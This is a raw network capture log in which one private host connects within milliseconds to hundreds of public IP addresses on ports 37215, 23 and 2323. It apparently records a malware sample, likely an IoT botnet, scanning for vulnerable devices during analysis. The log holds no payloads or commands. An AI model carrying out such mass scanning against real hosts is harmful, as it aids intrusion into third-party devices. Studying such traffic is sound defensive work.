Aug 6, 2024 08:32:57.820535898 CEST	61142	37215	192.168.2.14	41.83.20.241
Aug 6, 2024 08:32:57.820533991 CEST	61142	37215	192.168.2.14	197.185.96.197
Aug 6, 2024 08:32:57.820535898 CEST	61142	37215	192.168.2.14	41.195.3.220
Aug 6, 2024 08:32:57.820538998 CEST	61142	37215	192.168.2.14	41.111.116.69
Aug 6, 2024 08:32:57.820542097 CEST	61142	37215	192.168.2.14	156.178.174.105
Aug 6, 2024 08:32:57.820544004 CEST	61142	37215	192.168.2.14	41.169.1.160
Aug 6, 2024 08:32:57.820542097 CEST	61142	37215	192.168.2.14	156.31.218.172
Aug 6, 2024 08:32:57.820542097 CEST	61142	37215	192.168.2.14	41.133.85.214
Aug 6, 2024 08:32:57.820549965 CEST	61142	37215	192.168.2.14	197.123.250.251
Aug 6, 2024 08:32:57.820553064 CEST	61142	37215	192.168.2.14	156.37.14.109
Aug 6, 2024 08:32:57.820553064 CEST	61142	37215	192.168.2.14	41.233.198.210
Aug 6, 2024 08:32:57.820553064 CEST	61142	37215	192.168.2.14	41.236.179.181
Aug 6, 2024 08:32:57.820575953 CEST	61142	37215	192.168.2.14	197.94.142.206
Aug 6, 2024 08:32:57.820575953 CEST	61142	37215	192.168.2.14	156.87.11.253
Aug 6, 2024 08:32:57.820579052 CEST	61142	37215	192.168.2.14	41.71.67.34
Aug 6, 2024 08:32:57.820590019 CEST	61142	37215	192.168.2.14	156.229.53.104
Aug 6, 2024 08:32:57.820610046 CEST	61142	37215	192.168.2.14	197.66.20.224
Aug 6, 2024 08:32:57.820611000 CEST	61142	37215	192.168.2.14	156.99.69.120
Aug 6, 2024 08:32:57.820619106 CEST	61142	37215	192.168.2.14	41.243.188.108
Aug 6, 2024 08:32:57.820619106 CEST	61142	37215	192.168.2.14	156.111.178.221
Aug 6, 2024 08:32:57.820624113 CEST	61142	37215	192.168.2.14	41.39.210.77
Aug 6, 2024 08:32:57.820626020 CEST	61142	37215	192.168.2.14	197.17.109.18
Aug 6, 2024 08:32:57.820627928 CEST	61142	37215	192.168.2.14	41.3.222.249
Aug 6, 2024 08:32:57.820642948 CEST	61142	37215	192.168.2.14	41.64.162.163
Aug 6, 2024 08:32:57.820651054 CEST	61142	37215	192.168.2.14	156.158.222.92
Aug 6, 2024 08:32:57.820652008 CEST	61142	37215	192.168.2.14	197.85.104.216
Aug 6, 2024 08:32:57.820664883 CEST	61142	37215	192.168.2.14	156.235.190.74
Aug 6, 2024 08:32:57.820673943 CEST	61142	37215	192.168.2.14	197.129.93.172
Aug 6, 2024 08:32:57.820674896 CEST	61142	37215	192.168.2.14	41.157.228.61
Aug 6, 2024 08:32:57.820674896 CEST	61142	37215	192.168.2.14	41.241.249.10
Aug 6, 2024 08:32:57.820676088 CEST	61142	37215	192.168.2.14	197.248.74.54
Aug 6, 2024 08:32:57.820674896 CEST	61142	37215	192.168.2.14	197.135.116.208
Aug 6, 2024 08:32:57.820705891 CEST	61142	37215	192.168.2.14	156.109.160.83
Aug 6, 2024 08:32:57.820705891 CEST	61142	37215	192.168.2.14	41.126.237.119
Aug 6, 2024 08:32:57.820705891 CEST	61142	37215	192.168.2.14	41.41.5.234
Aug 6, 2024 08:32:57.820708990 CEST	61142	37215	192.168.2.14	156.94.165.201
Aug 6, 2024 08:32:57.820743084 CEST	61142	37215	192.168.2.14	156.68.100.122
Aug 6, 2024 08:32:57.820744991 CEST	61142	37215	192.168.2.14	197.246.49.210
Aug 6, 2024 08:32:57.820755959 CEST	61142	37215	192.168.2.14	156.74.26.243
Aug 6, 2024 08:32:57.820781946 CEST	61142	37215	192.168.2.14	156.110.107.187
Aug 6, 2024 08:32:57.820781946 CEST	61142	37215	192.168.2.14	156.229.253.94
Aug 6, 2024 08:32:57.820785999 CEST	61142	37215	192.168.2.14	41.249.148.178
Aug 6, 2024 08:32:57.820791006 CEST	61142	37215	192.168.2.14	41.60.246.135
Aug 6, 2024 08:32:57.820791960 CEST	61142	37215	192.168.2.14	41.34.184.204
Aug 6, 2024 08:32:57.820816040 CEST	61142	37215	192.168.2.14	41.63.176.68
Aug 6, 2024 08:32:57.820816040 CEST	61142	37215	192.168.2.14	156.120.203.129
Aug 6, 2024 08:32:57.820817947 CEST	61142	37215	192.168.2.14	156.219.90.140
Aug 6, 2024 08:32:57.820826054 CEST	61142	37215	192.168.2.14	41.188.13.223
Aug 6, 2024 08:32:57.820828915 CEST	61142	37215	192.168.2.14	156.38.36.98
Aug 6, 2024 08:32:57.820848942 CEST	61142	37215	192.168.2.14	156.90.142.34
Aug 6, 2024 08:32:57.820862055 CEST	61142	37215	192.168.2.14	156.211.187.99
Aug 6, 2024 08:32:57.820863008 CEST	61142	37215	192.168.2.14	156.191.143.79
Aug 6, 2024 08:32:57.820935011 CEST	61142	37215	192.168.2.14	41.76.72.232
Aug 6, 2024 08:32:57.820935011 CEST	61142	37215	192.168.2.14	156.146.161.140
Aug 6, 2024 08:32:57.820935965 CEST	61142	37215	192.168.2.14	41.66.104.140
Aug 6, 2024 08:32:57.820935011 CEST	61142	37215	192.168.2.14	156.103.175.80
Aug 6, 2024 08:32:57.820936918 CEST	61142	37215	192.168.2.14	41.134.252.198
Aug 6, 2024 08:32:57.820938110 CEST	61142	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.820939064 CEST	61142	37215	192.168.2.14	41.8.60.219
Aug 6, 2024 08:32:57.820939064 CEST	61142	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.820939064 CEST	61142	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.820940018 CEST	61398	23	192.168.2.14	204.17.132.235
Aug 6, 2024 08:32:57.820940018 CEST	61142	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.820940971 CEST	61142	37215	192.168.2.14	156.120.89.247
Aug 6, 2024 08:32:57.820940971 CEST	61142	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.820940971 CEST	61142	37215	192.168.2.14	156.206.12.203
Aug 6, 2024 08:32:57.820941925 CEST	61142	37215	192.168.2.14	41.97.220.207
Aug 6, 2024 08:32:57.820941925 CEST	61398	2323	192.168.2.14	202.244.106.37
Aug 6, 2024 08:32:57.820940018 CEST	61142	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.820952892 CEST	61142	37215	192.168.2.14	156.175.90.23
Aug 6, 2024 08:32:57.820956945 CEST	61142	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.820957899 CEST	61142	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.820957899 CEST	61142	37215	192.168.2.14	197.129.40.70
Aug 6, 2024 08:32:57.820957899 CEST	61398	23	192.168.2.14	144.39.73.189
Aug 6, 2024 08:32:57.820960045 CEST	61398	23	192.168.2.14	1.11.145.151
Aug 6, 2024 08:32:57.820957899 CEST	61142	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.820960999 CEST	61142	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.820960999 CEST	61142	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.820964098 CEST	61398	23	192.168.2.14	189.34.243.252
Aug 6, 2024 08:32:57.820995092 CEST	61398	23	192.168.2.14	34.220.112.74
Aug 6, 2024 08:32:57.820997953 CEST	61398	23	192.168.2.14	114.244.108.236
Aug 6, 2024 08:32:57.821021080 CEST	61398	23	192.168.2.14	115.23.43.141
Aug 6, 2024 08:32:57.821022987 CEST	61398	23	192.168.2.14	170.25.29.34
Aug 6, 2024 08:32:57.821027040 CEST	61398	23	192.168.2.14	105.107.126.58
Aug 6, 2024 08:32:57.821038008 CEST	61142	37215	192.168.2.14	156.218.176.57
Aug 6, 2024 08:32:57.821038008 CEST	61142	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.821038961 CEST	61142	37215	192.168.2.14	197.27.94.66
Aug 6, 2024 08:32:57.821042061 CEST	61398	2323	192.168.2.14	172.140.62.171
Aug 6, 2024 08:32:57.821042061 CEST	61398	23	192.168.2.14	50.153.206.199
Aug 6, 2024 08:32:57.821043968 CEST	61142	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.821044922 CEST	61398	23	192.168.2.14	59.212.216.77
Aug 6, 2024 08:32:57.821048021 CEST	61142	37215	192.168.2.14	41.53.49.47
Aug 6, 2024 08:32:57.821048021 CEST	61142	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.821048021 CEST	61398	23	192.168.2.14	89.123.162.228
Aug 6, 2024 08:32:57.821048021 CEST	61398	23	192.168.2.14	119.151.111.189
Aug 6, 2024 08:32:57.821078062 CEST	61398	23	192.168.2.14	208.117.170.10
Aug 6, 2024 08:32:57.821078062 CEST	61398	23	192.168.2.14	62.115.108.25
Aug 6, 2024 08:32:57.821082115 CEST	61142	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.821083069 CEST	61398	23	192.168.2.14	208.10.169.163
Aug 6, 2024 08:32:57.821089983 CEST	61142	37215	192.168.2.14	41.217.116.194
Aug 6, 2024 08:32:57.821089983 CEST	61142	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.821115017 CEST	61142	37215	192.168.2.14	197.138.97.18
Aug 6, 2024 08:32:57.821115971 CEST	61142	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.821115971 CEST	61142	37215	192.168.2.14	197.225.174.253
Aug 6, 2024 08:32:57.821126938 CEST	61142	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.821134090 CEST	61142	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.821135998 CEST	61142	37215	192.168.2.14	156.53.253.58
Aug 6, 2024 08:32:57.821167946 CEST	61142	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.821172953 CEST	61142	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.821173906 CEST	61142	37215	192.168.2.14	197.183.249.82
Aug 6, 2024 08:32:57.821173906 CEST	61142	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.821175098 CEST	61142	37215	192.168.2.14	156.215.37.242
Aug 6, 2024 08:32:57.821175098 CEST	61142	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.821175098 CEST	61142	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.821182966 CEST	61142	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.821182966 CEST	61142	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.821185112 CEST	61142	37215	192.168.2.14	41.51.121.193
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	58.214.23.217
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	41.82.15.248
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	142.197.83.201
Aug 6, 2024 08:32:57.821619034 CEST	61142	37215	192.168.2.14	41.16.104.34
Aug 6, 2024 08:32:57.821620941 CEST	61142	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.821624041 CEST	61398	23	192.168.2.14	109.235.6.119
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	197.21.84.116
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	197.126.148.185
Aug 6, 2024 08:32:57.821619034 CEST	61398	23	192.168.2.14	110.88.87.138
Aug 6, 2024 08:32:57.821626902 CEST	61398	23	192.168.2.14	191.250.68.210
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	64.16.44.40
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	1.54.34.212
Aug 6, 2024 08:32:57.821624041 CEST	61398	23	192.168.2.14	24.155.132.156
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	97.31.198.4
Aug 6, 2024 08:32:57.821619034 CEST	61398	23	192.168.2.14	189.132.142.228
Aug 6, 2024 08:32:57.821618080 CEST	61398	2323	192.168.2.14	163.204.31.70
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	9.190.188.59
Aug 6, 2024 08:32:57.821624041 CEST	61142	37215	192.168.2.14	41.78.110.46
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	175.63.67.53
Aug 6, 2024 08:32:57.821620941 CEST	61398	23	192.168.2.14	46.68.102.6
Aug 6, 2024 08:32:57.821619034 CEST	61398	23	192.168.2.14	142.158.59.103
Aug 6, 2024 08:32:57.821626902 CEST	61398	23	192.168.2.14	130.247.144.183
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	120.185.10.69
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	206.71.139.3
Aug 6, 2024 08:32:57.821624041 CEST	61398	23	192.168.2.14	112.79.197.46
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	85.76.157.17
Aug 6, 2024 08:32:57.821628094 CEST	61398	23	192.168.2.14	103.46.9.24
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.821619987 CEST	61142	37215	192.168.2.14	197.98.229.22
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	41.38.242.18
Aug 6, 2024 08:32:57.821619987 CEST	61142	37215	192.168.2.14	156.253.80.13
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.821619987 CEST	61142	37215	192.168.2.14	41.248.163.221
Aug 6, 2024 08:32:57.821621895 CEST	61398	23	192.168.2.14	129.58.178.108
Aug 6, 2024 08:32:57.821624041 CEST	61142	37215	192.168.2.14	156.68.200.111
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	197.94.79.101
Aug 6, 2024 08:32:57.821619987 CEST	61398	23	192.168.2.14	49.215.196.171
Aug 6, 2024 08:32:57.821624041 CEST	61398	23	192.168.2.14	8.129.138.138
Aug 6, 2024 08:32:57.821626902 CEST	61398	23	192.168.2.14	20.84.63.49
Aug 6, 2024 08:32:57.821621895 CEST	61398	23	192.168.2.14	96.133.81.6
Aug 6, 2024 08:32:57.821626902 CEST	61142	37215	192.168.2.14	156.105.21.205
Aug 6, 2024 08:32:57.821621895 CEST	61142	37215	192.168.2.14	156.253.104.137
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	69.247.203.86
Aug 6, 2024 08:32:57.821624041 CEST	61398	23	192.168.2.14	133.172.43.102
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	135.31.144.42
Aug 6, 2024 08:32:57.821626902 CEST	61142	37215	192.168.2.14	197.117.39.98
Aug 6, 2024 08:32:57.821621895 CEST	61398	23	192.168.2.14	76.177.219.20
Aug 6, 2024 08:32:57.821618080 CEST	61398	23	192.168.2.14	126.25.46.225
Aug 6, 2024 08:32:57.821621895 CEST	61142	37215	192.168.2.14	197.199.180.234
Aug 6, 2024 08:32:57.821624041 CEST	61398	23	192.168.2.14	189.146.123.96
Aug 6, 2024 08:32:57.821626902 CEST	61398	23	192.168.2.14	17.118.143.195
Aug 6, 2024 08:32:57.821628094 CEST	61398	2323	192.168.2.14	221.10.201.79
Aug 6, 2024 08:32:57.821626902 CEST	61142	37215	192.168.2.14	41.24.57.223
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	41.56.49.9
Aug 6, 2024 08:32:57.821621895 CEST	61142	37215	192.168.2.14	41.29.183.36
Aug 6, 2024 08:32:57.821628094 CEST	61398	23	192.168.2.14	184.216.61.235
Aug 6, 2024 08:32:57.821626902 CEST	61142	37215	192.168.2.14	197.80.161.38
Aug 6, 2024 08:32:57.821618080 CEST	61142	37215	192.168.2.14	197.96.202.162
Aug 6, 2024 08:32:57.821629047 CEST	61142	37215	192.168.2.14	41.97.168.243
Aug 6, 2024 08:32:57.821629047 CEST	61398	23	192.168.2.14	136.44.33.2
Aug 6, 2024 08:32:57.821629047 CEST	61142	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.821629047 CEST	61142	37215	192.168.2.14	156.213.21.174
Aug 6, 2024 08:32:57.821629047 CEST	61398	23	192.168.2.14	4.124.190.44
Aug 6, 2024 08:32:57.821702957 CEST	61398	23	192.168.2.14	187.252.16.191
Aug 6, 2024 08:32:57.821702957 CEST	61398	23	192.168.2.14	165.95.157.76
Aug 6, 2024 08:32:57.821702957 CEST	61398	23	192.168.2.14	123.149.182.145
Aug 6, 2024 08:32:57.821702957 CEST	61142	37215	192.168.2.14	197.249.182.124
Aug 6, 2024 08:32:57.821702957 CEST	61398	23	192.168.2.14	5.59.80.109
Aug 6, 2024 08:32:57.821702957 CEST	61398	2323	192.168.2.14	12.44.139.86
Aug 6, 2024 08:32:57.821702957 CEST	61142	37215	192.168.2.14	41.129.23.199
Aug 6, 2024 08:32:57.821702957 CEST	61398	23	192.168.2.14	53.24.140.130
Aug 6, 2024 08:32:57.821723938 CEST	61142	37215	192.168.2.14	41.93.81.93
Aug 6, 2024 08:32:57.821723938 CEST	61142	37215	192.168.2.14	41.81.109.110
Aug 6, 2024 08:32:57.821723938 CEST	61398	2323	192.168.2.14	91.19.204.136
Aug 6, 2024 08:32:57.821723938 CEST	61398	23	192.168.2.14	129.0.148.184
Aug 6, 2024 08:32:57.821723938 CEST	61398	23	192.168.2.14	152.161.109.20
Aug 6, 2024 08:32:57.821723938 CEST	61398	23	192.168.2.14	199.238.86.205
Aug 6, 2024 08:32:57.821723938 CEST	61398	23	192.168.2.14	5.196.129.179
Aug 6, 2024 08:32:57.821723938 CEST	61398	23	192.168.2.14	93.175.118.174
Aug 6, 2024 08:32:57.821780920 CEST	61398	23	192.168.2.14	166.167.154.55
Aug 6, 2024 08:32:57.821780920 CEST	61142	37215	192.168.2.14	197.166.50.72
Aug 6, 2024 08:32:57.821780920 CEST	61398	23	192.168.2.14	68.4.29.52
Aug 6, 2024 08:32:57.821780920 CEST	61398	23	192.168.2.14	132.18.133.7
Aug 6, 2024 08:32:57.821780920 CEST	61398	23	192.168.2.14	119.39.45.129
Aug 6, 2024 08:32:57.821780920 CEST	61398	23	192.168.2.14	36.115.79.152
Aug 6, 2024 08:32:57.821780920 CEST	61142	37215	192.168.2.14	197.186.115.168
Aug 6, 2024 08:32:57.821780920 CEST	61398	2323	192.168.2.14	169.85.9.164
Aug 6, 2024 08:32:57.821784973 CEST	61398	23	192.168.2.14	76.193.164.226
Aug 6, 2024 08:32:57.821784973 CEST	61398	23	192.168.2.14	221.62.193.177
Aug 6, 2024 08:32:57.821784973 CEST	61398	23	192.168.2.14	196.17.165.170
Aug 6, 2024 08:32:57.821784973 CEST	61398	23	192.168.2.14	192.174.133.204
Aug 6, 2024 08:32:57.821784973 CEST	61398	23	192.168.2.14	217.219.197.145
Aug 6, 2024 08:32:57.821784973 CEST	61142	37215	192.168.2.14	197.67.46.114
Aug 6, 2024 08:32:57.821784973 CEST	61142	37215	192.168.2.14	156.71.91.95
Aug 6, 2024 08:32:57.821784973 CEST	61398	23	192.168.2.14	106.91.248.42
Aug 6, 2024 08:32:57.821790934 CEST	61398	23	192.168.2.14	130.86.181.19
Aug 6, 2024 08:32:57.821790934 CEST	61142	37215	192.168.2.14	41.174.75.23
Aug 6, 2024 08:32:57.821790934 CEST	61398	23	192.168.2.14	144.103.145.28
Aug 6, 2024 08:32:57.821790934 CEST	61142	37215	192.168.2.14	41.226.193.198
Aug 6, 2024 08:32:57.821790934 CEST	61398	23	192.168.2.14	78.111.247.137
Aug 6, 2024 08:32:57.821790934 CEST	61142	37215	192.168.2.14	197.3.120.144
Aug 6, 2024 08:32:57.821790934 CEST	61142	37215	192.168.2.14	197.230.41.95
Aug 6, 2024 08:32:57.821791887 CEST	61398	23	192.168.2.14	69.210.83.150
Aug 6, 2024 08:32:57.821805954 CEST	61398	23	192.168.2.14	113.213.180.202
Aug 6, 2024 08:32:57.821805954 CEST	61398	23	192.168.2.14	27.101.1.240
Aug 6, 2024 08:32:57.821805954 CEST	61142	37215	192.168.2.14	197.67.152.158
Aug 6, 2024 08:32:57.821805954 CEST	61398	23	192.168.2.14	136.221.124.227
Aug 6, 2024 08:32:57.821805954 CEST	61398	23	192.168.2.14	190.188.87.90
Aug 6, 2024 08:32:57.821805954 CEST	41816	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.821805954 CEST	61142	37215	192.168.2.14	197.236.188.89
Aug 6, 2024 08:32:57.821805954 CEST	61142	37215	192.168.2.14	197.131.254.153
Aug 6, 2024 08:32:57.821814060 CEST	61398	2323	192.168.2.14	116.84.28.26
Aug 6, 2024 08:32:57.821814060 CEST	61398	23	192.168.2.14	130.9.138.13
Aug 6, 2024 08:32:57.821814060 CEST	61142	37215	192.168.2.14	41.114.189.86
Aug 6, 2024 08:32:57.821814060 CEST	61398	23	192.168.2.14	57.208.33.119
Aug 6, 2024 08:32:57.821814060 CEST	53436	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.821814060 CEST	58932	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.821814060 CEST	46704	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.821814060 CEST	45330	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.821856976 CEST	61398	23	192.168.2.14	179.111.187.164
Aug 6, 2024 08:32:57.821856976 CEST	33714	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.821856976 CEST	61142	37215	192.168.2.14	156.37.108.58
Aug 6, 2024 08:32:57.821856976 CEST	61142	37215	192.168.2.14	156.192.207.138
Aug 6, 2024 08:32:57.821857929 CEST	61398	23	192.168.2.14	138.63.228.107
Aug 6, 2024 08:32:57.821857929 CEST	61142	37215	192.168.2.14	197.4.85.253
Aug 6, 2024 08:32:57.821857929 CEST	61142	37215	192.168.2.14	156.169.36.33
Aug 6, 2024 08:32:57.821857929 CEST	61398	23	192.168.2.14	211.31.45.74
Aug 6, 2024 08:32:57.821880102 CEST	61398	23	192.168.2.14	85.21.247.200
Aug 6, 2024 08:32:57.821880102 CEST	61398	23	192.168.2.14	65.163.71.162
Aug 6, 2024 08:32:57.821880102 CEST	61398	23	192.168.2.14	208.108.171.9
Aug 6, 2024 08:32:57.821880102 CEST	61142	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.821881056 CEST	61398	2323	192.168.2.14	182.48.216.74
Aug 6, 2024 08:32:57.821881056 CEST	61398	2323	192.168.2.14	106.45.237.134
Aug 6, 2024 08:32:57.821881056 CEST	61398	23	192.168.2.14	128.187.80.8
Aug 6, 2024 08:32:57.821881056 CEST	61142	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.821887970 CEST	61142	37215	192.168.2.14	156.233.193.250
Aug 6, 2024 08:32:57.821887970 CEST	61398	23	192.168.2.14	189.216.83.231
Aug 6, 2024 08:32:57.821887970 CEST	61398	23	192.168.2.14	69.71.58.244
Aug 6, 2024 08:32:57.821887970 CEST	61398	23	192.168.2.14	73.31.165.80
Aug 6, 2024 08:32:57.821887970 CEST	61142	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.821888924 CEST	61142	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.821888924 CEST	61142	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	210.42.167.202
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	166.78.3.109
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	87.220.2.231
Aug 6, 2024 08:32:57.821913958 CEST	60396	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	68.244.207.12
Aug 6, 2024 08:32:57.821913958 CEST	52772	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	2.30.247.57
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	198.209.118.114
Aug 6, 2024 08:32:57.821912050 CEST	61398	23	192.168.2.14	216.212.162.185
Aug 6, 2024 08:32:57.821912050 CEST	61142	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.821918011 CEST	61398	23	192.168.2.14	178.106.65.144
Aug 6, 2024 08:32:57.821918011 CEST	61398	23	192.168.2.14	81.106.108.143
Aug 6, 2024 08:32:57.821918011 CEST	61398	23	192.168.2.14	63.244.107.157
Aug 6, 2024 08:32:57.821918964 CEST	61398	23	192.168.2.14	119.198.37.2
Aug 6, 2024 08:32:57.821918964 CEST	61398	23	192.168.2.14	212.214.49.95
Aug 6, 2024 08:32:57.821918964 CEST	61142	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.821918964 CEST	61398	23	192.168.2.14	8.210.37.30
Aug 6, 2024 08:32:57.821918964 CEST	61398	23	192.168.2.14	23.68.59.168
Aug 6, 2024 08:32:57.821969986 CEST	45960	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.821974039 CEST	61398	23	192.168.2.14	185.114.170.139
Aug 6, 2024 08:32:57.821974039 CEST	61142	37215	192.168.2.14	197.42.186.47
Aug 6, 2024 08:32:57.821974039 CEST	61398	23	192.168.2.14	191.149.22.93
Aug 6, 2024 08:32:57.821974039 CEST	61398	23	192.168.2.14	151.151.204.231
Aug 6, 2024 08:32:57.821974039 CEST	61398	2323	192.168.2.14	136.49.149.158
Aug 6, 2024 08:32:57.821974039 CEST	61398	23	192.168.2.14	153.21.116.215
Aug 6, 2024 08:32:57.821974039 CEST	61398	2323	192.168.2.14	178.57.18.230
Aug 6, 2024 08:32:57.821974039 CEST	61398	23	192.168.2.14	157.8.155.198
Aug 6, 2024 08:32:57.821975946 CEST	61142	37215	192.168.2.14	156.207.254.171
Aug 6, 2024 08:32:57.821975946 CEST	61142	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.821975946 CEST	61398	23	192.168.2.14	187.62.107.115
Aug 6, 2024 08:32:57.821975946 CEST	61142	37215	192.168.2.14	156.213.48.72
Aug 6, 2024 08:32:57.821975946 CEST	61398	23	192.168.2.14	54.7.204.239
Aug 6, 2024 08:32:57.821975946 CEST	61398	23	192.168.2.14	58.188.64.252
Aug 6, 2024 08:32:57.821975946 CEST	58684	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.821975946 CEST	61398	23	192.168.2.14	205.189.24.223
Aug 6, 2024 08:32:57.821981907 CEST	52702	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.821990967 CEST	61142	37215	192.168.2.14	41.199.94.80
Aug 6, 2024 08:32:57.821991920 CEST	61142	37215	192.168.2.14	197.213.203.200
Aug 6, 2024 08:32:57.821991920 CEST	61398	23	192.168.2.14	54.145.7.223
Aug 6, 2024 08:32:57.821991920 CEST	61398	23	192.168.2.14	51.61.59.249
Aug 6, 2024 08:32:57.821991920 CEST	61398	23	192.168.2.14	81.254.41.170
Aug 6, 2024 08:32:57.821997881 CEST	56898	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.821991920 CEST	61142	37215	192.168.2.14	156.231.173.120
Aug 6, 2024 08:32:57.821991920 CEST	61398	23	192.168.2.14	168.84.194.240
Aug 6, 2024 08:32:57.821991920 CEST	61398	2323	192.168.2.14	205.70.133.2
Aug 6, 2024 08:32:57.822001934 CEST	61142	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.822001934 CEST	61142	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.822001934 CEST	61398	23	192.168.2.14	163.230.27.92
Aug 6, 2024 08:32:57.822004080 CEST	61142	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.822001934 CEST	61398	23	192.168.2.14	158.76.159.55
Aug 6, 2024 08:32:57.822001934 CEST	61398	23	192.168.2.14	217.20.193.33
Aug 6, 2024 08:32:57.822004080 CEST	61142	37215	192.168.2.14	156.226.249.229
Aug 6, 2024 08:32:57.822001934 CEST	61398	2323	192.168.2.14	143.242.146.83
Aug 6, 2024 08:32:57.822004080 CEST	46520	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.822001934 CEST	61398	23	192.168.2.14	36.216.48.1
Aug 6, 2024 08:32:57.822004080 CEST	34850	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.822007895 CEST	34534	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.822001934 CEST	61398	23	192.168.2.14	9.223.252.241
Aug 6, 2024 08:32:57.822004080 CEST	42098	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.822004080 CEST	46642	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.822004080 CEST	46592	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.822038889 CEST	61142	37215	192.168.2.14	197.245.222.173
Aug 6, 2024 08:32:57.822038889 CEST	61398	23	192.168.2.14	131.140.209.24
Aug 6, 2024 08:32:57.822038889 CEST	50446	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.822038889 CEST	57494	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.822038889 CEST	49708	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.822038889 CEST	37194	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.822038889 CEST	36250	37215	192.168.2.14	41.154.221.237
